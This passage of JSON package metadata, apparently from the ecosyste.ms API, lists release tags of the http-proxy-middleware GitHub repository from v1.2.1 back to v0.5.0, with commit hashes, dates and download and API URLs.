ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"1704875df236bfa8ff156502436906cd84fc88bd","kind":"commit","published_at":"2021-04-24T12:50:09.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.2.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"017ac01aa08bee2cb286e9f229b9fb78d406e4c5","kind":"commit","published_at":"2021-04-18T13:19:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.2.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.0/manifests"},{"name":"v1.1.2","sha":"13bc071c0caada7a4fb2345b91256167e7d7463b","kind":"commit","published_at":"2021-04-14T20:07:14.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"0381fdfbc5976ad8a3632fd92b7406047f1c6748","kind":"commit","published_at":"2021-04-10T08:43:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"c38efe9215f4089fc2fc8baf0c7b07840789da47","kind":"commit","published_at":"2021-03-28T21:29:41.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.0/manifests"},{"name":"v1.0.6","sha":"f212a047ef45898ce6053b622cada4b0617b9ddf","kind":"commit","published_at":"2020-10-11T19:40:04.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.6/manifests"},{"name":"v1.0.5","sha":"5384dcfab6e5d565b97b2ff5d6cac3209aada6e8","kind":"commit","published_at":"2020-07-09T16:40:37.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.5/manifests"},{"name":"v0.19.2","sha":"ffcd889b2aa8bbc59ed93f2bd34a61923748942f","kind":"commit","published_at":"2020-05-19T18:56:13.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.2/manifests"},{"name":"v1.0.4","sha":"68e3e300574d275ea99f264dedcfd72d7dccc626","kind":"commit","published_at":"2020-05-18T16:27:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"e767654221fbc866adf16e3c0c96c29ca6800220","kind":"commit","published_at":"2020-03-16T21:20:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"573a8c45fbdf6b41ea99a8d8216d43f2455bb604","kind":"commit","published_at":"2020-03-14T13:22:10.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"23522c7a88098e2e18d4a836e41c3dde9d55c4a6","kind":"commit","published_at":"2020-02-29T12:37:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"aefdbe8688f3e1491a9e94c08e17fb6b3a0d6a8f","kind":"commit","published_at":"2020-02-18T22:28:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.0/manifests"},{"name":"v0.21.0","sha":"b8f33210770878685202ceb7494e53399ed838a0","kind":"commit","published_at":"2020-02-16T18:31:18.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.21.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.21.0/manifests"},{"name":"v","sha":"b8f33210770878685202ceb7494e53399ed838a0","kind":"commit","published_at":"2020-02-16T18:31:18.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v/manifests"},{"name":"v0.20.0","sha":"3b9730826187c708fbd16cb0baa588f6aad73a00","kind":"commit","published_at":"2019-09-03T19:54:52.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.20.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0/manifests"},{"name":"v0.20.0-beta.0","sha":"021b03f0d805446d21e9e9b0700c75b8eb8f39f6","kind":"tag","published_at":"2019-06-02T15:17:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.20.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.20.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.20.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0-beta.0/manifests"},{"name":"v0.19.1","sha":"6422977cebde7ba6b2a506f47db97aa58ccbd44c","kind":"commit","published_at":"2018-11-25T20:18:04.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"bb59c666dbb65cc0ef422bbf5332b67cbd6fb0e3","kind":"commit","published_at":"2018-08-29T21:09:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.0/manifests"},{"name":"v0.18.0","sha":"952c1afb7045179417659cf45c111f51b9339d2e","kind":"commit","published_at":"2018-03-12T22:39:51.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.18.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.18.0/manifests"},{"name":"v0.17.4","sha":"cb5e084e71bc3202fe4f711f2f5edf4e29355d99","kind":"commit","published_at":"2017-03-02T23:05:58.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.4/manifests"},{"name":"v0.17.3","sha":"8689cb429577a7722b9334e702535cb752191c43","kind":"commit","published_at":"2016-12-07T21:17:30.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.3/manifests"},{"name":"v0.17.2","sha":"f03aecf755a0a645a83646131548754638b2e994","kind":"commit","published_at":"2016-09-28T22:24:52.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"8a0ff1f0da2496b517ba02ccb30b1a9a17926dc7","kind":"commit","published_at":"2016-08-11T21:25:59.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"306fdd4162af41a5ced5ba17be80cbb861204f5f","kind":"commit","published_at":"2016-07-03T15:29:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.0/manifests"},{"name":"v0.16.0","sha":"09926cdd29573e2966993a743d8b68e415f9c6b5","kind":"commit","published_at":"2016-06-13T18:48:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.16.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.16.0/manifests"},{"name":"v0.15.2","sha":"679526ef1f3a61e4b68c26d9f644195e93727b72","kind":"commit","published_at":"2016-05-29T12:50:53.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9e542faa39fd9e8caa9785088fb99511b24f41f3","kind":"commit","published_at":"2016-05-26T22:01:15.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"b33b96978506ce00b7833f94514523a696e6cb13","kind":"commit","published_at":"2016-05-03T20:56:13.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"28f17062174987e80bdb3ff60478d746a17cb43f","kind":"commit","published_at":"2016-04-18T20:37:21.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.14.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.14.0/manifests"},{"name":"v0.13.0","sha":"6606489c35a06ded05694d33a15cf02917ca1173","kind":"commit","published_at":"2016-03-23T20:19:44.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.13.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"951d9bf3fe81d83935bdcb8dfb51643a2775f251","kind":"commit","published_at":"2016-03-13T17:47:42.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.12.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1f21feda49e57806d82be94ba3f3e46a70e7f868","kind":"commit","published_at":"2016-02-24T19:56:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.11.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"5bed3c630c00c0d301fcdda4e4ea20ab31a95bfd","kind":"commit","published_at":"2016-02-05T19:16:37.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.10.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0/manifests"},{"name":"v0.10.0-beta","sha":"8ce646fe7c7736e9d90bc5d02682bc3fcc649da1","kind":"commit","published_at":"2016-01-26T21:28:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.10.0-beta","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.10.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.10.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0-beta/manifests"},{"name":"v0.9.1","sha":"fe24b979cf7a55b757092203a5c7832233ff67ea","kind":"commit","published_at":"2016-01-18T21:43:17.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.9.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"57094e506e92bd7a3f5e6cf94dbbad7632cdfcad","kind":"commit","published_at":"2015-09-28T22:01:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.9.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.0/manifests"},{"name":"v0.8.2","sha":"5f343b95eac318156e4475d80ec9b9c56437c273","kind":"commit","published_at":"2015-09-23T18:43:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"13f949160afd7ef754d5a27af9514d76099817f7","kind":"commit","published_at":"2015-09-09T16:02:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"f1559c909f0ed3239a970c73f15755d65de86a53","kind":"commit","published_at":"2015-08-31T10:46:07.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"75a062515001910ce803b1147ee8310a102c82b8","kind":"commit","published_at":"2015-08-23T20:52:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.7.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"bb473ad7c20de225fdaed6a7e74e29f3f948fce6","kind":"commit","published_at":"2015-08-18T11:40:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.6.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.6.0/manifests"},{"name":"v0.5.0","sha":"a025f336746df150c58f2851595b8073b3f96e42","kind":"commit","published_at":"2015-08-07T18:29:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.